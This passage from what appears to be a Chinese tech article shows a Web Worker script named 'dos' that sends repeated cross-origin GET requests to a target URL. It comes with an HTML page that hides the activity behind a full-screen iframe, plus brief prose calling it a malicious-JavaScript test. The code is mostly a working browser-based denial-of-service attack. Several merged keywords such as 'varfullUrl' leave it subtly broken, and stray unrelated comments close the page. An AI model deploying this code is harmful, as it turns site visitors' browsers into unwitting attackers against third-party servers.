function makeRequest(base) {
varfullUrl = base
varhttpRequest = new XMLHttpRequest();
httpRequest.open("GET", fullUrl, true);
httpRequest.send(null);
}
function dos(base) {
var i =0;
for (i= 0; i < 100; i++) {
console.log(base);
makeRequest(base);
}
}
self.onmessage = function (e) {
base =e.data;
dos(base);
}
Web Worker可以使用XMLHttpRequest发送跨域请求。这个函数可以使用GET和POST两种方法,一般使用GET方法就可以了,但是POST方法不限制发送长度和字符,有些情况必须要用POST方法。本例中采用GET方法测试。
<style>
#page{width: 100%; height: 100%;}
body{margin:0}
</style>
<script type="text/javascript">
varworker_loc = 'worker.js';
</script>
<script type="text/javascript"src="run_worker.js">
</script>
</head>
<body>
<iframe id="page"name="page" src="http://.example.com" frameborder=
"0"noresize="noresize"style="overflow:visible"></iframe>
</body>
index.html几乎没有更改,因为这个网页的内容对恶意Javascript的测试没有影响。
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-28052-3.html
百加得植入广告更早
康师傅在大陆确实赚的太多太多